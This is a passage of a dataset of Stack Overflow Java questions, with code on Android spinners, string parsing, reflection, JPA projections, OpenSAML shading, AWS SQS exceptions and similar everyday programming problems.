spinner based on the position of the top spinner int resourceId = Builder.this.getResources ( ) .getIdentifier ( `` component '' +Integer.toString ( mComponent ) + '' _color '' , `` array '' , Builder.this.getPackageName ( ) ) ; ArrayAdapter < CharSequence > a = ArrayAdapter.createFromResource ( Builder.this , resourceId , android.R.layout.simple_spinner_item ) ; a.setDropDownViewResource ( android.R.layout.simple_spinner_dropdown_item ) ; mNameSelect.setAdapter ( a ) ; //Set the position of the bottom spinner to the saved position mNameSelect.setSelection ( mCompColorAsBuilt [ mComponent ] ) ; } public void onNothingSelected ( AdapterView < ? > parent ) { } } ) ; //Attach an adapter to the bottom spinner int resourceId = this.getResources ( ) .getIdentifier ( `` component '' +Integer.toString ( mComponent ) + '' _color '' , `` array '' , this.getPackageName ( ) ) ; ArrayAdapter < CharSequence > b = ArrayAdapter.createFromResource ( this , resourceId , android.R.layout.simple_spinner_item ) ; b.setDropDownViewResource ( android.R.layout.simple_spinner_dropdown_item ) ; mNameSelect.setAdapter ( b ) ; mNameSelect.setOnItemSelectedListener ( new OnItemSelectedListener ( ) { public void onItemSelected ( AdapterView < ? > parent , View view , int position , long id ) { //Save the position of the bottom spinner mCompColorAsBuilt [ mComponent ] = position ; } public void onNothingSelected ( AdapterView < ? > parent ) { } } ) ; } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < RelativeLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : orientation= '' vertical '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' > < Spinner android : id= '' @ +id/component '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_toLeftOf= '' @ +id/finish '' android : drawSelectorOnTop= '' true '' android : prompt= '' @ string/component_spinner '' / > < LinearLayout android : orientation= '' horizontal '' android : layout_alignParentBottom= '' true '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' > < Spinner android : id= '' @ +id/component_name '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_weight= '' 1 '' android : drawSelectorOnTop= '' true '' android : prompt= '' @ string/component_name_spinner '' / > < /LinearLayout > < /RelativeLayout >",Bug with Android spinner in 2.2 related to layout arrangement +Java,"I 'm trying to parse a int from a String array element . Here is my code : The System.out.println returns the following : Length is : 23However , when I try to parse the String into an int , a java.lang.NumberFormatException gets thrown ; I 'm a bit confused how 23 wont get parsed into an int . I can only assume that there is some other character in there that is preventing it , but I ca n't see it for the life of me.Any suggestions ? ThanksUpdate","String length = messageContents [ k ] .replace ( `` Content-Length : '' , `` '' ) .replace ( `` `` , `` '' ) ; System.out.println ( `` Length is : `` + length ) ; int test= Integer.parseInt ( length ) ; java.lang.NumberFormatException : For input string : `` 23 '' Despite the String length having only two characters , Java reports its length as three : Length is : '23'Length of length variable is : 3length.getBytes = [ B @ 126804e",Java ParseInt Sanity Check +Java,An simple interface : The output would be : Only one myMethod is printed.But if I change the interface to a generic one : Then strangely the output will be : Why after changing the interface to a generic one will lead to one more Method with a parameter type Object ?,"interface Foo { void myMethod ( String arg ) ; } class FooImpl implements Foo { void myMethod ( String arg ) { } public static void main ( String [ ] args ) { Class cls = FooImpl.class ; try { for ( Method method : cls.getMethods ( ) ) { System.out.print ( method.getName ( ) + `` \t '' ) ; for ( Class paramCls : method.getParameterTypes ( ) ) { System.out.print ( paramCls.getName ( ) + `` , '' ) ; } System.out.println ( ) ; } } catch ( SecurityException e ) { // TODO Auto-generated catch block } } } myMethod java.lang.String , ... //Other Method interface Foo < T > { void myMethod ( T arg ) ; } class FooImpl implements Foo < String > { void myMethod ( String arg ) { } } myMethod java.lang.Object , myMethod java.lang.String , ... //Other Method",getMethods ( ) returns method I have n't defined when implementing a generic interface +Java,"I did n't find this anywhere - can i tell Play ! that a specific controller method should ( only ) be accessed via HTTP POST ? Something like the HttpPost attribute in C # 's Asp.Net MVC ? Update - I do n't understand what adding a POST route do : A POST request will work without adding such a route.Because the method is still catched by the `` Catch all '' GET rule , even adding the POST route wo n't prevent GET requests to this method .","public class MyController extends Controller { @ Post public void addPerson ( String name , String address ) { } }",Can I mark a controller method as POST in Play using annotations ? +Java,"So I 've been lead to believe that using the `` + '' operator to append Strings on a single line was just as efficient as using a StringBuilder ( and definitely much nicer on the eyes ) . Today though I was having some speed issues with a Logger that was appending variables and strings , it was using a `` + '' operator . So I made a quick test case and to my surprise found that using a StringBuilder was quicker ! The basics are I used the average of 20 runs for each number of appends , with 4 different methods ( shown below ) .Results , times ( in milliseconds ) Graph of percentage Difference from the fastest algorithm.I 've checked out the byte code , it 's different for each string comparison method.Here is what I 'm using for the methods , and you can see the whole test class here . I 've now tried with floats , ints , and strings . All of which show more or less the same time difference.QuestionsThe `` + '' operator is clearly not becoming the same byte code , and the time is very different from the optimal . So what gives ? The behavior of the algorithms betwen 100 and 10000 number of appends is very odd to me , so does anyone have an explanation ?","# of Appends 10^1 10^2 10^3 10^4 10^5 10^6 10^7StringBuilder ( capacity ) 0.65 1.25 2 11.7 117.65 1213.25 11570StringBuilder ( ) 0.7 1.2 2.4 12.15 122 1253.7 12274.6 '' + '' operator 0.75 0.95 2.35 12.35 127.2 1276.5 12483.4String.format 4.25 13.1 13.25 71.45 730.6 7217.15 - public static String stringSpeed1 ( float a , float b , float c , float x , float y , float z ) { StringBuilder sb = new StringBuilder ( 72 ) .append ( `` [ `` ) .append ( a ) .append ( `` , '' ) .append ( b ) .append ( `` , '' ) .append ( c ) .append ( `` ] [ `` ) . append ( x ) .append ( `` , '' ) .append ( y ) .append ( `` , '' ) .append ( z ) .append ( `` ] '' ) ; return sb.toString ( ) ; } public static String stringSpeed2 ( float a , float b , float c , float x , float y , float z ) { StringBuilder sb = new StringBuilder ( ) .append ( `` [ `` ) .append ( a ) .append ( `` , '' ) .append ( b ) .append ( `` , '' ) .append ( c ) .append ( `` ] [ `` ) . append ( x ) .append ( `` , '' ) .append ( y ) .append ( `` , '' ) .append ( z ) .append ( `` ] '' ) ; return sb.toString ( ) ; } public static String stringSpeed3 ( float a , float b , float c , float x , float y , float z ) { return `` [ `` +a+ '' , '' +b+ '' , '' +c+ '' ] [ `` +x+ '' , '' +y+ '' , '' +z+ '' ] '' ; } public static String stringSpeed4 ( float a , float b , float c , float x , float y , float z ) { return String.format ( `` [ % f , % f , % f ] [ % f , % f , % f ] '' , a , b , c , x , y , z ) ; }",Speed difference for single line String concatenation +Java,"I have read an article regarding removing elements from Collections from this linkAs per my understanding iterator remove method prevents Concurrent modification exception then remove method of Collection.But when i try to run the below codde i am unable to get concurrentmoficationexceptionAs per javadoc the ConcurrentModicationException is thrown when we try to do any modification during iteartion.I am using collections remove method , but still there is no exception.But if I comment line dayList.remove ( `` Tuesday '' ) ; , exception is thrown.Can anyone explain what is happening behind the scene in this code ?",List dayList= new ArrayList ( ) ; dayList.add ( `` Sunday '' ) ; dayList.add ( `` Monday '' ) ; dayList.add ( `` Tuesday '' ) ; dayList.add ( `` Wednesday '' ) ; dayList.remove ( `` Tuesday '' ) ; Iterator itr=dayList.iterator ( ) ; while ( itr.hasNext ( ) ) { Object testList=itr.next ( ) ; if ( testList.equals ( `` Monday '' ) ) { dayList.remove ( testList ) ; } } System.out.println ( dayList ) ; },Collections remove method does n't give Concurrent Modification Exception +Java,"I am following the MVVM pattern - meaning I have a ViewModel for each Fragment.I added two tabs by using ViewPager2.My adapter looks like this : The tabs are working . However , I noticed that the ViewModel of my MergedItemsFragment is behaving weirdly.Before I added tabs I navigated to the Fragment like this : When I left that fragment with NavHostFragment.findNavController ( this ) .popBackStack ( ) and later on returned to that fragment I would get a new empty ViewModel . This was intended.With the new approach I am navigating with return new MergedItemsFragment ( ) . When I leave that fragment and later on return I am getting a ViewModel that contains the old data . That is an issue because the old data is not relevant anymore because the User selected different data in another fragment.Update # 1I realized that he actually keeps all the old Fragments in memory because the same print statements gets called multiple times . The times it is called increases with the amount of times I leave and return to that screen . So if I leave and return 10 times and rotate my device he will actually execute one line 10 times . Any guesses how to implement Tabs/ViewPagers with Navigation Components in a manner that works with ViewModels ? Update # 2I set my ViewModels like this : I get the same results with : I bind the ViewModel in the Fragment itself . Therefore , this is the Fragment .","@ Overridepublic Fragment createFragment ( int position ) { switch ( position ) { case 0 : return new MergedItemsFragment ( ) ; case 1 : return new ValidatedMergedItemsFragment ( ) ; } return new MergedItemsFragment ( ) ; } NavHostFragment.findNavController ( this ) .navigate ( R.id.action_roomFragment_to_itemsFragment ) ; viewModel = new ViewModelProvider ( this , providerFactory ) .get ( MergedItemViewModel.class ) viewModel = ViewModelProviders.of ( this ) .get ( MergedItemViewModel.class ) ;",ViewPager2/Tabs problem with ViewModel state +Java,"I 'm experiencing a strange issue where a org.apache.http.NoHttpResponseException is thrown as unchecked exception even though is a checked exception since it extends java.io.IOException ... As it can be seen from the following posted stacktrace I 'm getting an exception that should be checked at compile time as an unchecked runtime exception.The stacktrace of the exception that I get is as follows ( my classes are in the package : com.example.staticsite ) : The method that is throwing the exception inside my code is : The SqsReceiverException is defined as follows : The pom file dependecies are declared as follows : Producing this results : How can be possible that this exception is threated as unchecked while it should be checked ? Is there something am I missing here ? NoteThe exception is not always reproducible since it only happens in production when there is a missing response from the Amazon service.UpdateI 've verified down the stacktrace till reaching the AmazonHttpClient class whereas there is this code that is catching the ` IOException ' : And the lastReset should be the responsible for the exception thrown , what I do n't understand is how it is possible that the exception logged is org.apache.http.NoHttpResponseException ... The line before the stacktrace is always :","org.apache.http.NoHttpResponseException : sqs.eu-west-1.amazonaws.com failed to respond at org.apache.http.impl.conn.DefaultHttpResponseParser.parseHead ( DefaultHttpResponseParser.java:143 ) at org.apache.http.impl.conn.DefaultHttpResponseParser.parseHead ( DefaultHttpResponseParser.java:57 ) at org.apache.http.impl.io.AbstractMessageParser.parse ( AbstractMessageParser.java:260 ) at org.apache.http.impl.AbstractHttpClientConnection.receiveResponseHeader ( AbstractHttpClientConnection.java:283 ) at org.apache.http.impl.conn.DefaultClientConnection.receiveResponseHeader ( DefaultClientConnection.java:251 ) at org.apache.http.impl.conn.ManagedClientConnectionImpl.receiveResponseHeader ( ManagedClientConnectionImpl.java:197 ) at org.apache.http.protocol.HttpRequestExecutor.doReceiveResponse ( HttpRequestExecutor.java:271 ) at com.amazonaws.http.protocol.SdkHttpRequestExecutor.doReceiveResponse ( SdkHttpRequestExecutor.java:66 ) at org.apache.http.protocol.HttpRequestExecutor.execute ( HttpRequestExecutor.java:123 ) at org.apache.http.impl.client.DefaultRequestDirector.tryExecute ( DefaultRequestDirector.java:685 ) at org.apache.http.impl.client.DefaultRequestDirector.execute ( DefaultRequestDirector.java:487 ) at org.apache.http.impl.client.AbstractHttpClient.doExecute ( AbstractHttpClient.java:863 ) at org.apache.http.impl.client.CloseableHttpClient.execute ( CloseableHttpClient.java:82 ) at org.apache.http.impl.client.CloseableHttpClient.execute ( CloseableHttpClient.java:57 ) at com.amazonaws.http.AmazonHttpClient.executeOneRequest ( AmazonHttpClient.java:728 ) at com.amazonaws.http.AmazonHttpClient.executeHelper ( AmazonHttpClient.java:489 ) at com.amazonaws.http.AmazonHttpClient.execute ( AmazonHttpClient.java:310 ) at com.amazonaws.services.sqs.AmazonSQSClient.invoke ( AmazonSQSClient.java:2419 ) at com.amazonaws.services.sqs.AmazonSQSClient.receiveMessage ( AmazonSQSClient.java:1130 ) at com.example.staticsite.aws.SqsReceiverImpl.receiveReceipt ( SqsReceiverImpl.java:57 ) at com.example.staticsite.core.processsite.ProcessSiteImpl.runOneTime ( ProcessSiteImpl.java:59 ) at com.example.staticsite.core.processsite.ProcessSiteImpl.run ( ProcessSiteImpl.java:44 ) at java.util.concurrent.Executors $ RunnableAdapter.call ( Executors.java:473 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:262 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1152 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:622 ) at java.lang.Thread.run ( Thread.java:748 ) public class SqsReceiverImpl implements SqsReceiver { private AmazonSQS client ; private String queueUrl ; @ Inject public SqsReceiverImpl ( AmazonSQS client , @ Assisted String queueUrl ) { this.client = client ; this.queueUrl = queueUrl ; } public List < String > receiveReceipt ( ) throws SqsReceiverException { if ( queueUrl == null ) throw new SqsReceiverException ( SqsReceiverException.MESSAGE_NO_QUEURURL ) ; ReceiveMessageRequest request = new ReceiveMessageRequest ( ) ; request.setMaxNumberOfMessages ( 10 ) ; request.setQueueUrl ( queueUrl ) ; request.setWaitTimeSeconds ( 20 ) ; ReceiveMessageResult results = null ; try { results = client.receiveMessage ( request ) ; } catch ( OverLimitException oe ) { throw new SqsReceiverException ( `` OverLimitException thrown '' ) ; } catch ( AmazonServiceException oe ) { throw new SqsReceiverException ( `` AmazonServiceException thrown '' ) ; } catch ( AmazonClientException oe ) { throw new SqsReceiverException ( `` AmazonClientException thrown '' ) ; } public class SqsReceiverException extends Exception { public SqsReceiverException ( String messageNoQueururl ) { super ( messageNoQueururl ) ; } public static final String MESSAGE_NO_QUEURURL = `` Queue url not found . Se the queue url '' ; } < dependencies > < dependency > < groupId > junit < /groupId > < artifactId > junit < /artifactId > < version > 4.11 < /version > < scope > test < /scope > < /dependency > < dependency > < groupId > log4j < /groupId > < artifactId > log4j < /artifactId > < version > 1.2.17 < /version > < /dependency > < dependency > < groupId > com.amazonaws < /groupId > < artifactId > aws-java-sdk-sqs < /artifactId > < version > 1.10.12 < /version > < /dependency > < dependency > < groupId > org.mockito < /groupId > < artifactId > mockito-core < /artifactId > < version > 1.10.19 < /version > < scope > test < /scope > < /dependency > < dependency > < groupId > com.google.inject < /groupId > < artifactId > guice < /artifactId > < version > 4.0 < /version > < /dependency > < dependency > < groupId > com.google.inject.extensions < /groupId > < artifactId > guice-assistedinject < /artifactId > < version > 4.0 < /version > < /dependency > < dependency > < groupId > org.apache.commons < /groupId > < artifactId > commons-lang3 < /artifactId > < version > 3.4 < /version > < /dependency > < /dependencies > catch ( IOException ioe ) { if ( log.isInfoEnabled ( ) ) { log.info ( `` Unable to execute HTTP request : `` + ioe.getMessage ( ) , ioe ) ; } captureExceptionMetrics ( ioe , awsRequestMetrics ) ; awsRequestMetrics.addProperty ( AWSRequestID , null ) ; AmazonClientException ace = new AmazonClientException ( `` Unable to execute HTTP request : `` + ioe.getMessage ( ) , ioe ) ; if ( ! shouldRetry ( request.getOriginalRequest ( ) , p.apacheRequest , ace , p.requestCount , config.getRetryPolicy ( ) ) ) { throw lastReset ( ace , request ) ; } // Cache the retryable exception p.retriedException = ace ; } 2017-09-15 07:41:39 INFO AmazonHttpClient:496 - Unable to execute HTTP request : sqs.eu-west-1.amazonaws.com failed to respond",NoHttpResponseException thrown as runtime exception even though is a checked exception +Java,I 'm new to RequestFactory but with generous help of Thomas Broyer and after reviewing documents below it 's getting much better : ) Getting Started with RequestFactoryRequest Factory Moving PartsRequestFactory changes in GWT 2.4But could you please explain why Locator < > .find ( ) is being called so unnecessarily ( in my opinion ) often ? In my sample project I have two entities Organization and Person that maintain parent-child relationship . When I fetch Organization Objectify automatically fetches child Person . Also I created two methods in my service layer findOrganizationById and saveOrganization that load and persist objects.Now consider two scenarios : When I call findOrganizationById in the client following calls occur on server side : By calling OrderDao.findOrganizationById I 've already received full graph of objects . Why call .find twice in addition to that ? It 's extra load on Datastore that cost me money . Of course I cache it but it would be neat to fix it . How can I avoid these additional calls ? Similar thing happens when I save object ( s ) by calling saveOrganization in the client . Following calls occur on server side : I can understand need for fetching two objects from DataStore before updating it . RequestFactory sends deltas to the server so it needs to have entire object before persisting it . Still since I load full graph at once it would be nice not to have second call which is PojoLocator.find ( Key < ? > ( Organization ( 1 ) /Person ( 2 ) ) ) . And I truly ca n't understand need for .find ( ) calls after persisting.Thoughts ? My proxiesMy serviceand finally my Locator < >,"OrderDao.findOrganizationById ( 1 ) PojoLocator.getId ( Key < ? > ( Organization ( 1 ) ) ) PojoLocator.getId ( Key < ? > ( Organization ( 1 ) /Person ( 2 ) ) ) PojoLocator.getId ( Key < ? > ( Organization ( 1 ) ) ) PojoLocator.find ( Key < ? > ( Organization ( 1 ) ) ) PojoLocator.getId ( Key < ? > ( Organization ( 1 ) /Person ( 2 ) ) ) PojoLocator.find ( Key < ? > ( Organization ( 1 ) /Person ( 2 ) ) ) PojoLocator.find ( Key < ? > ( Organization ( 1 ) ) ) PojoLocator.find ( Key < ? > ( Organization ( 1 ) /Person ( 2 ) ) ) OrderDao.saveOrganization ( 1 ) PojoLocator.getId ( Key < ? > ( Organization ( 1 ) ) ) PojoLocator.find ( Key < ? > ( Organization ( 1 ) ) ) PojoLocator.getId ( Key < ? > ( Organization ( 1 ) /Person ( 2 ) ) ) PojoLocator.find ( Key < ? > ( Organization ( 1 ) /Person ( 2 ) ) ) @ ProxyFor ( value = Organization.class , locator = PojoLocator.class ) public interface OrganizationProxy extends EntityProxy { public String getName ( ) ; public void setName ( String name ) ; public String getAddress ( ) ; public void setAddress ( String address ) ; public PersonProxy getContactPerson ( ) ; public void setContactPerson ( PersonProxy contactPerson ) ; public EntityProxyId < OrganizationProxy > stableId ( ) ; } @ ProxyFor ( value = Person.class , locator = PojoLocator.class ) public interface PersonProxy extends EntityProxy { public String getName ( ) ; public void setName ( String name ) ; public String getPhoneNumber ( ) ; public void setPhoneNumber ( String phoneNumber ) ; public String getEmail ( ) ; public void setEmail ( String email ) ; public OrganizationProxy getOrganization ( ) ; public void setOrganization ( OrganizationProxy organization ) ; } public interface AdminRequestFactory extends RequestFactory { @ Service ( value = OrderDao.class , locator = InjectingServiceLocator.class ) public interface OrderRequestContext extends RequestContext { Request < Void > saveOrganization ( OrganizationProxy organization ) ; Request < OrganizationProxy > findOrganizationById ( long id ) ; } OrderRequestContext contextOrder ( ) ; } public class PojoLocator extends Locator < DatastoreObject , String > { @ Inject Ofy ofy ; @ Override public DatastoreObject create ( Class < ? extends DatastoreObject > clazz ) { try { return clazz.newInstance ( ) ; } catch ( InstantiationException e ) { throw new RuntimeException ( e ) ; } catch ( IllegalAccessException e ) { throw new RuntimeException ( e ) ; } } @ Override public DatastoreObject find ( Class < ? extends DatastoreObject > clazz , String id ) { Key < DatastoreObject > key = Key.create ( id ) ; DatastoreObject load = ofy.load ( key ) ; return load ; } @ Override public Class < DatastoreObject > getDomainType ( ) { return null ; // Never called } @ Override public String getId ( DatastoreObject domainObject ) { Key < DatastoreObject > key = ofy.fact ( ) .getKey ( domainObject ) ; return key.getString ( ) ; } @ Override public Class < String > getIdType ( ) { return String.class ; } @ Override public Object getVersion ( DatastoreObject domainObject ) { return domainObject.getVersion ( ) ; } }",RequestFactory theory : Why is Locator < > .find ( ) being called so often ? +Java,"I would like to count occurrences of a character ( for example the space : ' ' ) in 2D Array , using stream . I was trying to find a solution . Here is my code , using a nested loops :",public int countFreeSpaces ( ) { int freeSpaces = 0 ; for ( int i = 0 ; i < height ; i++ ) { for ( int j = 0 ; j < width ; j++ ) { if ( board [ j ] [ i ] == ' ' ) freeSpaces++ ; } } return freeSpaces ; },Counting specific characters in two dimensional array using stream +Java,"I am trying to output the result of the a Multimap.get ( ) to a file . However I get the [ and ] characters appear as the first and last character respectively . I tried to use this program , but it does n't print any separators between the integers . How can I solve this problem ?","package main ; import java.io.File ; import java.io.FileNotFoundException ; import java.io.PrintWriter ; import java.io.UnsupportedEncodingException ; import java.util.ArrayList ; import java.util.Collections ; import java.util.List ; import java.util.Scanner ; import com.google.common.collect.ArrayListMultimap ; import com.google.common.collect.Maps ; import com.google.common.collect.Multimap ; public class App { public static void main ( String [ ] args ) { File file = new File ( `` test.txt '' ) ; ArrayList < String > list = new ArrayList < String > ( ) ; Multimap < Integer , String > newSortedMap = ArrayListMultimap.create ( ) ; try { Scanner s = new Scanner ( file ) ; while ( s.hasNext ( ) ) { list.add ( s.next ( ) ) ; } s.close ( ) ; } catch ( FileNotFoundException e ) { System.out.println ( `` File can not be found in root folder '' ) ; ; } for ( String word : list ) { int key = findKey.convertKey ( word ) ; newSortedMap.put ( key , word ) ; } // Overwrites old output.txt try { PrintWriter writer = new PrintWriter ( `` output.txt '' , `` UTF-8 '' ) ; for ( Integer key : newSortedMap.keySet ( ) ) { writer.println ( newSortedMap.get ( key ) ) ; } writer.close ( ) ; } catch ( FileNotFoundException e ) { System.out.println ( `` FileNotFoundException e should not occur '' ) ; } catch ( UnsupportedEncodingException e ) { System.out.println ( `` UnsupportedEncodingException has occured '' ) ; } }",How do you remove the first and the last characters from a Multimap 's String representation ? +Java,"My code runs in Java 5 and 6 , but when I upgraded to Java 7 I get a `` java.lang.ClassCastException : java.lang.Class can not be cast to java.lang.reflect.GenericArrayType '' .For the following code : Java6 prints : Java7 prints : This different behavior is breaking my code which relies on generics . Can someone please help me understand why this happens and how to get GenericArrayType from Vector < Integer [ ] > arr ?",public class A < T > { public Vector < Integer [ ] > arr ; } System.out.println ( ( ( ParameterizedType ) A.class.getField ( `` arr '' ) .getGenericType ( ) ) .getActualTypeArguments ( ) [ 0 ] ) ; System.out.println ( ( ( ParameterizedType ) A.class.getField ( `` arr '' ) .getGenericType ( ) ) .getActualTypeArguments ( ) [ 0 ] .getClass ( ) ) ; java.lang.Integer [ ] class sun.reflect.generics.reflectiveObjects.GenericArrayTypeImpl class [ Ljava.lang.Integer ; class java.lang.Class,ClassCastException when upgrading from Java6 to Java7 due to missing GenericArrayType +Java,"When using OpenSAML 3 , you must first load components from the opensaml-saml-impl artifact with the following line of code : This uses java.util.ServiceLoader to load any type which implements Initializer.When I write a test and run it with mvn integration-test , this works fine , and I can see that everything has loaded : However , my project uses maven-shade-plugin . The condition above is not true if I package the code into an uber-jar : In this case I observe that only 9 unmarshallers have loaded ( those in opensaml-core , as opposed to those in opensaml-saml-impl . However , when I watch the output of mvn package , I can see that the types are included in the shaded jar : I can work around this issue with the following dumb code : This utterly defeats the point of the plugin system , but it does allow my program to function.For reference , here 's the relevant bits of pom.xml :","InitializationService.initialize ( ) ; Assert.assertTrue ( XMLObjectProviderRegistrySupport .getUnmarshallerFactory ( ) .getUnmarshallers ( ) .size ( ) > 400 ) ; mvn packagejava -jar /path/to/my.jar [ INFO ] Including org.opensaml : opensaml-saml-impl : jar:3.2.0 in the shaded jar . [ INFO ] Including org.opensaml : opensaml-profile-api : jar:3.2.0 in the shaded jar . [ INFO ] Including org.opensaml : opensaml-messaging-api : jar:3.2.0 in the shaded jar . [ INFO ] Including org.opensaml : opensaml-saml-api : jar:3.2.0 in the shaded jar . [ INFO ] Including org.opensaml : opensaml-xmlsec-api : jar:3.2.0 in the shaded jar . [ INFO ] Including org.opensaml : opensaml-soap-api : jar:3.2.0 in the shaded jar . [ INFO ] Including org.opensaml : opensaml-storage-api : jar:3.2.0 in the shaded jar . [ INFO ] Including org.opensaml : opensaml-security-impl : jar:3.2.0 in the shaded jar . [ INFO ] Including org.opensaml : opensaml-security-api : jar:3.2.0 in the shaded jar . private static void initManuallyInsteadOfWithInitializationServiceSoThatMavenShadePluginDoesNotRemoveThem ( ) throws InitializationException { new ApacheXMLSecurityInitializer ( ) .init ( ) ; new ClientTLSValidationConfiguratonInitializer ( ) .init ( ) ; new GlobalAlgorithmRegistryInitializer ( ) .init ( ) ; new GlobalParserPoolInitializer ( ) .init ( ) ; new GlobalSecurityConfigurationInitializer ( ) .init ( ) ; new JavaCryptoValidationInitializer ( ) .init ( ) ; new SAMLConfigurationInitializer ( ) .init ( ) ; new org.opensaml.core.xml.config.XMLObjectProviderInitializer ( ) .init ( ) ; new org.opensaml.xmlsec.config.XMLObjectProviderInitializer ( ) .init ( ) ; new XMLObjectProviderInitializer ( ) .init ( ) ; } < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-shade-plugin < /artifactId > < version > 2.3 < /version > < executions > < execution > < phase > package < /phase > < goals > < goal > shade < /goal > < /goals > < configuration > < transformers > < transformer implementation= '' org.apache.maven.plugins.shade.resource.ManifestResourceTransformer '' > < manifestEntries > < Main-Class > com.example.Server < /Main-Class > < /manifestEntries > < /transformer > < transformer implementation= '' org.apache.maven.plugins.shade.resource.AppendingTransformer '' > < resource > META-INF/services/io.vertx.core.spi.VerticleFactory < /resource > < /transformer > < /transformers > < artifactSet > < /artifactSet > < outputFile > $ { project.build.directory } / $ { project.artifactId } - $ { project.version } -fat.jar < /outputFile > < filters > < filter > < ! -- Fix java.lang.SecurityException : Invalid signature file digest for Manifest main attributes when server starts inside Docker container due to inclusion of OpenSAML and use of uber-jar / maven-shade-plugin . See http : //stackoverflow.com/a/6743609 -- > < artifact > * : * < /artifact > < excludes > < exclude > META-INF/*.SF < /exclude > < exclude > META-INF/*.DSA < /exclude > < exclude > META-INF/*.RSA < /exclude > < /excludes > < /filter > < filter > < ! -- This was one of my attempts to fix the problem . Unfortunately , it does n't work . -- > < artifact > org.opensaml : opensaml-saml-impl < /artifact > < includes > < include > ** < /include > < /includes > < /filter > < /filters > < /configuration > < /execution > < /executions > < /plugin >",How to stop maven-shade-plugin from blocking java.util.ServiceLoader initialization of opensaml-impl types +Java,"I have a need to work with large numbers ( something in range 1E100 - 1E200 ) . However , the BigInteger class , which seems to be suitable in general , does not recognize strings in scientific format during initialization , as well as does not support the conversion to a string in the format.Is there a way around ? I can not imagine that such class was designed with assumption that users must type hundreds of zeros in input .",BigDecimal d = new BigDecimal ( `` 1E10 '' ) ; //worksBigInteger i1 = new BigInteger ( `` 10000000000 '' ) ; //worksBigInteger i2 = new BigInteger ( `` 1E10 '' ) ; //throws NumberFormatExceptionSystem.out.println ( d.toEngineeringString ( ) ) ; //worksSystem.out.println ( i1.toEngineeringString ( ) ) ; //method is undefined,Initialization with string in scientific format in Java BigInteger ? +Java,"In this example , below annotation type ( @ interface ) : gets compiled to interface type : So , the annotation type is getting compiled to interface type , before runtime.In java , What is the advantage of using annotation type ( @ interface ) over the interface type ?",@ interface ClassPreamble { String author ( ) ; String date ( ) ; int currentRevision ( ) default 1 ; String lastModified ( ) default `` N/A '' ; String lastModifiedBy ( ) default `` N/A '' ; // Note use of array String [ ] reviewers ( ) ; } interface annotationtype.ClassPreamble extends java.lang.annotation.Annotation { public abstract java.lang.String author ( ) ; public abstract java.lang.String date ( ) ; public abstract int currentRevision ( ) ; public abstract java.lang.String lastModified ( ) ; public abstract java.lang.String lastModifiedBy ( ) ; public abstract java.lang.String [ ] reviewers ( ) ; },What is the advantage of using annotation over interface type ? +Java,"I 'm using Java EE 7 with Java 8 and Hibernate ( 5.0.X ) on Wildfly 10.1.0-Final , and I need to load a a JPQL query result into DTOs using projections , but I ca n't find any documentation on how to load the child collection DTOs as well.For instance , if I have following entities for User , Role , and Privilege : And I want to use projections to load some query results into the following immutable DTOs ( assume all have hashCode and equals implemented based on id ) : What would the structure of a JPQL query look like to achieve this ? I 'm pretty sure I could get the job done by doing the joins and then processing the results into the DTO objects afterwards , something like this ( to load the 50 newest users by ID ) : The reconstruction would have to happen starting with PrivilegeDTO objects , then RoleDTO , finally UserDTO . This will allow for immutability because you need the PrivilegeDTO objects when you build the RoleDTO objects , or you would have to add them later , meaning RoleDTO is not immutable.It 'd be a fun exercise in Streams , but I 'd much prefer to be able to just have this built from the query , it seems like it would have to be faster . Is that even possible ? Thanks a lot !","@ Entitypublic class User { @ Id private long id ; private String userName ; private String firstName ; private String lastName ; private JobTitle jobTitle ; private Email email ; private boolean isRemote ; @ ManyToMany private Set < Tag > tags ; @ ManyToMany // @ JoinColumn definitions ... private Set < Role > roles ; // getters/setters ... } @ Entitypublic class Role { @ Id private long id ; private String name ; private String description ; @ ManyToMany // @ JoinColumn definitions ... private Set < Privilege > privileges ; // getters/setters ... } @ Entitypublic class Privilege { @ Id private long id ; private String key ; private String name ; private String description ; // getters/setters ... } public class UserDTO { private final long id ; private final String userName ; private final Set < RoleDTO > roles = new HashSet < > ( ) ; public UserDTO ( long id , String userName , Collection < RoleDTO > roles ) // not sure if this is correct for projection.. { this.id = id ; this.userName = userName ; this.roles.addAll ( roles ) ; } public Set < Role > getRoles ( ) { return Collections.unmodifiableSet ( roles ) ; } // getters } public class RoleDTO { private final long id ; private final String name ; private final Set < PrivilegeDTO > privileges = new HashSet < > ( ) ; public RoleDTO ( long id , String name , Set < PrivilegeDTO > privileges ) { this.id = id ; this.name = name ; this.privileges.addAll ( privileges ) ; } public Set < Privilege > getPrivileges ( ) { return Collections.unmodifiableSet ( privileges ) ; } // other getters } public class PrivilegeDTO { private final long id ; private final String key ; public PrivilegeDTO ( long id , String key ) { this.id = id ; this.key = key ; } // getters } List < Object [ ] > results = em.createQuery ( `` SELECT u.id , u.userName , r.id , `` + `` r.name , p.id , p.key FROM User u `` + `` LEFT JOIN u.roles r `` + `` LEFT JOIN r.privileges p `` + `` ORDER BY u.id DESC '' ) .setMaxResults ( 50 ) .getResultList ( ) ; Map < Long , UserDTO > users = new HashMap < > ( ) ; Map < Long , RoleDTO > roles = new HashMap < > ( ) ; Map < Long , PrivilegeDTO > privileges = new HashMap < > ( ) ; for ( Object [ ] objArray : results ) { // process these into the DTO objects , }",Load child collection DTOs in JPA DTO projection query +Java,"Lately I made a very basic program . A time counter which has the ability of pausing . It was working with 3 threads , 2 for Swing and 1 for the main thread.For this program there should be a delta time counting part in the main thread . I made a very basic system like that ; This code above caused high CPU usage . I then replaced that code chunk with : And the problem was gone . I just wonder the reason of that . Also what is the optimum way of creating a program loop ?","while ( true ) { long now = System.currentTimeMillis ( ) ; if ( ! sessionPaused ) { if ( now-programLastMs > 1000 ) { save ( ) ; programLastMs = now ; } sessionMs += now-sessionPrevMs ; overallMs += now-sessionPrevMs ; sessionPrevMs = now ; sessionLabel.setText ( formatMillis ( `` This Session : < br/ > '' , sessionMs ) ) ; overallLabel.setText ( formatMillis ( `` 